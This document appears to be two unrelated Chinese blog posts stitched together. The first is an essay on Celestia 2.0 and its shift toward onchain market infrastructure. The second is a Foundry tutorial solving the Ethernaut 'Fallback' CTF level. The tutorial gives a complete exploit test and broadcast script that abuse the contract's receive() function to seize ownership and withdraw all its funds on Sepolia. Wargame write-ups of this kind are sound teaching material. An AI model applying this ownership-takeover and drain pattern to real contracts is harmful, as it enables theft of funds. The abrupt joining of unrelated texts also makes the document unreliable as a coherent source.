大多数人还在用旧叙事理解 Celestia：模块化、发链、给 rollup 提供数据可用性、让区块空间更便宜。这些都没错，但已经不是现在的主线了。 Celestia 2.0 不是升级了一个版本号，改的是它到底在解决什么问题。它开始从“链基础设施”转向“市场基础设施”。

过去几年，加密基础设施大体都在围着三件事转：谁能让执行更便宜，谁能让共享状态更快，谁能让团队更容易发一条链。 Celestia 1.0 其实也在这个框架里。它的关键词说到底只有一个：more chains。 模块化把执行、结算、共识、数据可用性拆开，解决的是供给问题：怎么更便宜地生产区块空间，怎么让更多团队把链发出来。

但供给不是终点。 链发出来以后，不是“应用”能稳定密集的使用区块，而是更具体的东西：市场。 有报价，有排序，有结算，有持续流动，有规则边界，也有隐私和延迟要求。 你把问题看到这里，Celestia 2.0 才真正有意思起来了。

Celestia Vision 2.0: every market onchain 的分量就在这里。 它不是在说“Celestia 更快了” 而是在说：如果区块空间足够大、足够便宜，还能按需要定制，那么上链的对象会从 app 扩展成 market 本身。 这听起来像叙事升级，实际是在换赛道。 Celestia 不再只是帮别人把链发出来，它开始想回答一个更野的题目：怎么让更多市场直接长在链上。

为什么要把 market 和 app 分开看？因为两者对底层的要求根本不是一个量级。 普通 app 当然也写状态，但它的写入往往是离散的、低频的、以用户交互为中心的。 market 不是，market 是持续运转的系统。 它吞的是事件流：报价、撤单、撮合、清算等等。 它不只要吞吐，性能，还要排序，还要规则控制。 很多人讨论链上未来，脑子里还是“更复杂的 app”。我看以后未必是这样的。 未来真正把区块空间吃满的，更可能是 market。 很多人脑子里的 market 还是 orderbook、perps、auction。但如果 query、data access、machine-to-machine interaction 本身都能被定价、结算，它们也是 market。 这里 Celestia 2.0 真正在扩展的，不是某一个金融垂类，而是“什么东西可以成为上链对象”的边界。

如果这个判断对，Celestia 2.0 就不是一次常规升级，这个时候它更像一次赛道切换。 因为它不再把自己放在“谁更适合承载更多通用应用”这条赛道上，而是开始回答另一个问题：当市场本身成为上链对象时，底层该长什么样？

为什么我说这不是空谈？因为 Celestia 现在拿出来的是两条很硬的技术路线。 第一条是 Fibre。官方把它明确指向 1Tb/s of blockspace。 你当然可以怀疑这个量级什么时候真的能落地，也可以怀疑市场需求会不会跟上，但你不能忽略它在回答的问题：如果未来要承载的是海量高频 market activity，而不是几条链上的少数热门 app，那么区块空间的量级就必须先被重新打开。 Vision 2.0 里那句判断我觉得抓得很准：如果 10KB/s 打开了 AMM 时代，10MB/s 打开了链上 orderbook 时代，那么再往上推几个数量级，才可能打开“everything markets”时代。 重点不是“更快”本身，重点是什么东西终于变得可行。 这个判断并不是我瞎说的。官方自己拿 Hyperliquid、Bullet、VEX 这类已经把链上市场往高吞吐方向推的系统当参照，意思很清楚：以前大家总觉得区块空间只要比现在多一点就够了，结果市场真的开始写状态以后，MB/s 量级都只是起步。 Celestia 2.0 想的是，再往上推几个数量级，链上市场的种类会跟着变。

第二条是 Private Blockspace，这也非常关键。 因为下一代链上市场并不都会跑在完全公开的 execution surface 上。 只要涉及机构流、敏感 orderflow、私有撮合等私有形式，问题就不再是单纯把吞吐堆上去，而是如何把隐私、可验证性和结算可信性同时放进系统设计里。 https://blog.celestia.org/introducing-celestia-private-blockspace-confidential-onchain-finance/ 这个文章里说得很直接：高价值市场最敏感的数据，恰恰是 positions、balances、liquidations、routing logic 这些东西。 你把这些全裸露出来，市场根本没法成立；你把它们全塞进黑箱里，又会把“上链”的意义削弱掉。 Private Blockspace 回答的，就是这个矛盾。

这时候再看主流路线，差异就清楚了。 先看 Ethereum rollup stack。它在优化的是一个非常强的问题：如何围绕 Ethereum 这个结算与安全中心，把更多 execution 变便宜。 blob、proto-danksharding、full danksharding 的逻辑都服务于这个方向。它的默认世界观很清楚：把更多 rollup 接到一个共享结算中心周围，让执行更廉价，让生态保持组合性。 这套路径对大量应用合理，对不少市场也合理。但它的默认出发点还是“围绕一个结算中心组织更多执行”。 Celestia 2.0 的出发点不一样：你可能不是想做一个挂在共享中心周围的 app，而是想做一个有自己规则、有自己排序需求、有自己 blockspace profile 的 market chain。 这两种世界观的差别，表面看像架构选择，实际更像 business model 选择。 Ethereum 路线在优化“更多东西围绕一个中心结算层长出来”。 Celestia 2.0 在优化“更多市场如何拥有自己的执行和规则，同时不必为此重建完整底层”。 前者像一座越来越大的金融中心，后者更像一片专门给市场搭的工业园。两者都可能成功，但不是同一个方向。

再看 Solana、Monad 这类高吞吐 shared execution L1。这条路的目标也很清楚：把一个共享执行环境做得足够快，让更多 activity 在同一条链上完成。 Solana 的 Sealevel 很早就在回答怎么让一条链上的执行更快更并行，Monad 也明确把目标放在在保留 EVM 兼容性的前提下，把高性能 shared execution 做上去。它们的优势很直白：共享流动性，统一状态，开发者不用先思考链级设计，先把东西做出来再说。 但 shared execution 的好处，恰恰也是它的边界。因为市场一旦不是普通 app，而是高频、延迟敏感的系统，你就会越来越在意几件事：我能不能完全控制排序逻辑？我能不能避免在最紧张的时候和别人的 activity 抢同一块共享执行面？ 共享执行环境不是不能承接市场，而是越往高价值、高频、专用规则的市场走，它的默认设置就越容易显得别扭。

最后看 Cosmos / appchain 路线。它跟 Celestia 最像，因为它也很早就意识到：当应用真的重要到一定程度，它可能根本不该继续寄居在别人的共享环境里，而应该有自己的链。这个判断我一直觉得是对的。问题在于，传统 appchain 路线把太多负担留给了团队自己：共识、网络、运维、生态整合、链级复杂度都跟着上来。你不是在做产品，你先在做一个小型基础设施公司。

Celestia 2.0 的竞争点不是“专用链这个想法是我发明的”。它真正想做的是把“专用市场链”变成一个更轻、更共享、blockspace 更像基础设施服务的默认路径。换句话说，它不是在鼓励所有团队都去重造一条 L1，而是在说：如果你的市场真的需要专用环境，那你应该默认用共享底层把这件事做轻，而不是先把整个数据中心背在身上。

所以我会把 Celestia 2.0 的对手理解成三种不同的世界观：rollup-centric、shared-execution-centric、appchain-centric。它不是要在每个维度上都赢，而是在承接一类以前没有被很好承接的问题：market-native systems。这也是为什么我说，它的对手不再只是“别的链”，而是别的基础设施哲学。

当然，这个叙事不是没有风险。 第一，市场需求未必会像愿景里那样快地迁移上来；技术可能先到了，真实采用没到。 第二，1Tb/s 这种量级是方向和工程目标，不等于今天所有 market 都已经有成熟承载面。 第三，regulation、distribution、冷启动和机构采用路径，也仍然可能比技术更早卡死很多市场。 第四，Celestia 自己也得把 2.0 叙事对应的产品栈真的做出来：不只是 blockspace 更大，还得让 market chain 更容易 launch、更容易 interop、更容易被 builder 用起来。Celestia 2.0 不保证这些市场一定成功，它只是让它们第一次有了更像样的基础设施候选。

但这已经足够重要了。因为这意味着 Celestia 的问题定义变了。它不再主要是在回答“怎么让更多链存在”，而是在回答“当市场本身成为上链对象时，底层该长什么样”。 你要记住：这不是升级。这是赛道切换。

我们今天不等了，直接进入实战，运用前面学习的知识来攻克难关

为什么使用 Foundry

我们使用 foundry 来攻克 ethernaut，今天首要的目的是先安装环境。

Foundry 的最大优势是：

1. 速度非常快：运行测试飞快

2. Solidity 原生：可以使用 Solidity 来写攻击脚本，这让你对合约的理解更加通透

3. 强大的主网分叉：你可以在本地克隆一个 sepolia 的状态，在不花一分钱的情况下无限次的去尝试攻击，直到你成功之后再提交上链

我们为什么要使用主网 fork？直接在上面测试不就好了？

1. 每次测试都要等出块，这大大增加了测试的时间

2. 每次测试不要 gas 吗？

3. fork 模式允许你瞬间完成交易并拥有无限的 ETH，比链上测试爽多了

环境配置

首先我们需要配置一个 sepolia 的网络通道。

依旧是使用 sepolia key，我们可以去 Alchemy 或 Infura 申请一个免费的 key，免费的足够用了。

然后需要准备一个钱包的私钥，里面需要放一些 sepolia 的 ETH，千万不要使用有钱在里面的钱包，推荐创建一个新钱包然后往里面转一些 Sepolia ETH，然后把这个钱包导入到网页钱包例如 metamask 钱包中。

初始化项目

我们重新初始化一个项目：

forge init ethernaut-foundry
cd ethernaut-foundry

然后在这个项目中创建一个 .env 文件来保存我们的 key 和私钥，内容如下：

SEPOLIA_RPC_URL=https://eth-sepolia.g.alchemy.com/v2/你的API_KEY
PRIVATE_KEY=你的私钥 (0x开头)

运行 source .env 来让终端加载这些变量。

获取关卡

这时候我们需要获取关卡了。

我们打开 ethernaut 的官网：https://ethernaut.openzeppelin.com/

并链接你上面私钥的钱包。

今天我们要进行第一关，所以点击 01 的图标。

进入网页之后最下方有一个 deploy contract，相当于部署一个当前的合约到链上。

创建本地合约文件

接下来我们要把创建一个这个合约到本地。

我们在 src 文件夹中创建一个 fallback.sol

然后复制 ethernaut 网页上的代码放入其中。

接下来找到 test 文件夹，在其中新建一个测试文件，我这里把它起名为 fallback.t.sol

这个就是我们要在本地写的测试文件。

以上步骤在后面几天我们会重复使用，所以后面就不再赘述了。

分析 Fallback 合约

首先我们分析一个这个 Fallback 这关，应该怎么攻破。

我们首先看到这一关的目标：

1. 获得这个合约的所有权

2. 把他的余额减到 0

这两个我们都能理解。

那我们看到代码中有 owner：

address public owner;

这个在 constructor 中就定义了，意思是在合约部署的时候就传入了：

constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
}

看到这好像感觉，我自己部署了这个合约，那 owner 不就直接是我自己了吗？

不对的，我们使用网页上的按钮部署的时候，实际上是调用另外的一个合约帮我们部署了这个合约，实际上合约的 owner 不是我们，不然这个题也没意义了。

我们继续往下看，onlyOwner 修饰符是只允许 owner 调用，这个不用多讲。

到了 contribute 函数，我们仔细分析一下：

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}

首先它要求我们每次贡献的钱的数量不能大于 0.001 ETH。

另外在 if 函数中，如果我们的贡献比 owner 的多，那他就会把 owner 设置为发送者。

这里有个大问题，owner 的 contributions 在 constructor 中写了，是 1000 * (1 ether) 也就是 1000 ETH，根本没有那么多钱啊。

所以这里我们没办法攻破，继续往下看。

getContribution 是显示我们的贡献多少钱的函数。

withdraw 是提取当前合约资金的函数，对于攻破都没有任何意义。

接下来我们看到一个函数 receive：

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

这个里面讲了，如果发送的钱大于 0 并且贡献值大于 0，那么就把 owner 权限给发送者。

这个正是我们要找的函数！

receive 和 fallback 的区别没忘吧：

• receive 是一个会计，只管收钱，没有 calldata 也就是附属值的时候会调用 receive

• fallback 是客服，receive 处理不了的，有 calldata 或者没有 receive 函数的时候，它就会出来处理

攻击流程

那我们明白了攻破这个合约的流程了：

1. 我们需要使用 contribute 函数贡献一些 ETH 进去，但是不能大于 0.001

2. 我们直接转账一些钱到这个合约，触发 receive 函数，由于我们有 contributions 并且转账值大于 0，合约会把所有权转给我们发送者

3. 调用 withdraw 函数，轻松提取所有在这个合约内的资金

编写测试文件

搞定，我们开始写 fallback.t.sol 里面的内容了。

首先写一下我们用的什么协议，然后用的是哪个版本的 Solidity：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

接下来要在本地测试，那我们就要引入 Test.sol，当作模板，顺便导入 console.sol，作为输出的方法。

再导入我们刚刚保存的 fallback.sol 合约，让编译器知道我们攻破的合约内容：

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Fallback.sol";

接下来写一个测试合约，我把它叫做 FallbackTest：

contract FallbackTest is Test{

}

在这个合约中，我们首先定义一下要攻击的合约，还有攻击者的地址以及 sepolia 的 RPC：

Fallback level1;

address payable att = payable(makeAddr("attacker"));

string Sepolia_RPC = vm.envString("SEPOLIA_RPC_URL");

再写一个 setUp 函数，这个是每次启动测试的时候自动运行的，相当于初始化，我们在上一周测试的时候说过：

function setUp() public {
    uint256 fork = vm.createFork(Sepolia_RPC);
    vm.selectFork(fork);

    address payable instanceAddress = payable(0xaddress);

    level1 = Fallback(payable(instanceAddress));

    vm.deal(att, 10 ether);
}

fork 是创建一个 sepolia 的主网分叉模式，vm.selectFork(fork); 选择我们现在的环境是在 fork 这个环境下运行的。

我们把刚刚的网页上部署的合约替换掉 address payable instanceAddress = payable(0xaddress); 里面的 0xaddress，不需要引号。

如果找不到刚刚的合约，在 ethernaut 的 console 里面输入 contract 即可看到合约地址。

我们使用引入的 Fallback 合约对象创建一个合约的实例，方便后面测试。

最后往攻击地址增加 10 个 ETH，增加 100 个也行，随便。

接下来我们就要按照上面破解合约的流程写了。

我们先定义一个测试函数叫 testFallback：

function testFallback() public {

    vm.startPrank(att);

    level1.contribute{value: 0.00001 ether}();
    assertEq(level1.getContribution(), 0.00001 ether);

    payable(level1).call{value: 0.00001 ether}("");
    
    assertEq(level1.owner(), att);

    level1.withdraw();
    assertEq(address(level1).balance, 0);

    vm.stopPrank();
}

首先 vm.startPrank(att); 把我们运行的地址设置为 att 这个地址，我们现在身份就是 att。

然后按照攻破流程：

1. 我们需要使用 contribute 函数贡献一些 ETH 进去，但是不能大于 0.001：level1.contribute{value: 0.00001 ether}(); 并且写一个断言来判断是不是真的贡献成功了

2. 我们直接转账一些钱到这个合约，触发 receive 函数，由于我们有 contributions 并且转账值大于 0，合约会把所有权转给我们发送者：payable(level1).call{value: 0.00001 ether}(""); 再写一个断言来判断有没有得到管理员权限

3. 调用 withdraw 函数，轻松提取所有在这个合约内的资金：level1.withdraw(); 最后写一个断言，看看合约资金是不是真被我们掏空了 assertEq(address(level1).balance, 0);

结束后使用 vm.stopPrank(); 关闭上下文环境。

完整测试代码

完整代码如下：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Fallback.sol";

contract FallbackTest is Test{

    Fallback level1;

    address  payable att = payable(makeAddr("attacker"));

    string Sepolia_RPC = vm.envString("SEPOLIA_RPC_URL");


    function setUp() public {
        uint256 fork = vm.createFork(Sepolia_RPC);
        vm.selectFork(fork);

        address payable instanceAddress = payable(0xAc76a5046fc29e46ee7585dC6eDF0F299EaE7AdA);

        level1 = Fallback(payable(instanceAddress));

        vm.deal(att, 10 ether);

    }

    function testFallback() public {

        vm.startPrank(att);

        level1.contribute{value: 0.00001 ether}();
        assertEq(level1.getContribution(), 0.00001 ether);

        payable(level1).call{value: 0.00001 ether}(""); 

        assertEq(level1.owner(), att);

        level1.withdraw();
        assertEq(address(level1).balance, 0);

        vm.stopPrank();

    }

}

运行测试

现在我们需要运行一下我们的测试，看看思路正确不正确，是不是能成功攻破合约。

在终端运行下面的命令，如果你的文件名和我一样的化不需要修改，不然要改为自己的文件名：

forge test --match-path test/fallback.t.sol -vvvv

-vvvv 是调试非常好用的神器：

• -v: 只显示测试通过/失败

• -vv: 显示 console.log 的内容

• -vvvv: 显示所有的执行堆栈 (Traces)。如果你的攻击失败了，你可以看到具体是在哪一行代码 revert (回滚) 的，以及参数是什么

过一会会出现如下图所示，代表我们的测试通过！

上链部署

这时候我们需要把它上链啊，总不能一直在本地模拟成功，那模拟成功了也没什么用。

这时候我们就用到 script 了。

在 script 目录下新建一个文件 script.s.sol

我们就使用这个文件让操作上链，代码如下：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Fallback.sol";

contract FallbackTest is Script{

    function run() external {
        uint256 privateKey = vm.envUint("PRIVATE_KEY");

        address fallbackAddress = 0xAc76a5046fc29e46ee7585dC6eDF0F299EaE7AdA;
        Fallback fallb = Fallback(payable(fallbackAddress));

        vm.startBroadcast(privateKey);
        
        fallb.contribute{value: 0.00001 ether}();

        (bool success, ) = address(fallb).call{value: 0.0001 ether}("");
        require(success, "Transfer failed");

        fallb.withdraw();

        console.log("completed");

        vm.stopBroadcast();
    }
}

看着是不是和 Test 很像？

讲一下变化

我们在 test 是引入 Test.sol，我们写 script 是引入 import "forge-std/Script.sol";

然后我们在创建合约的时候，继承的也是 script：contract FallbackTest is Script{}

script 的入口函数叫 run，所以我们新定义一个 function run() external {}

接下来我们因为要真实上链，所以就不能使用模拟账户了，我们从 env 文件里面读取我们写的 privateKey，然后运行 vm.startBroadcast(privateKey()) 把我们的真实钱包当作我们当前使用的钱包，设置为上下文环境即 context。

继续定义一个 fallback 函数。

然后我们按照测试文件中相同的方法来发送：

1. 先贡献：fallb.contribute{value: 0.00001 ether}(); 由于我们当前使用的是私钥钱包，所以发送者就是我们的私钥钱包

2. 给合约发送一点钱，触发 receive 函数：(bool success, ) = address(fallb).call{value: 0.0001 ether}("");

3. 提取所有合约里的钱：fallb.withdraw();

明白了吧，相当于我们把测试的流程变成真的发送到链上了。

执行 Script

然后我们要使用：

forge script script/fallback.s.sol --rpc-url $SEPOLIA_RPC_URL

这个命令。

稍等一会后会出现结果，如果成功的话就和下图一样：

这时候并不是真的成功了，我们只是在本地模拟运行了一遍，看看有没有报错。

接下来运行：

forge script script/fallback.s.sol --rpc-url $SEPOLIA_RPC_URL --broadcast

--broadcast 这个是把交易广播到链上。

这个运行之后可能会等待一会，最后出现一堆 hash，去 sepolia 浏览器看看有没有全部成功，如果成功之后你就可以回到 ethernaut 页面点击 Submit Instance 了。

之后最上面的解析字就会变化，我们就成功拿下了！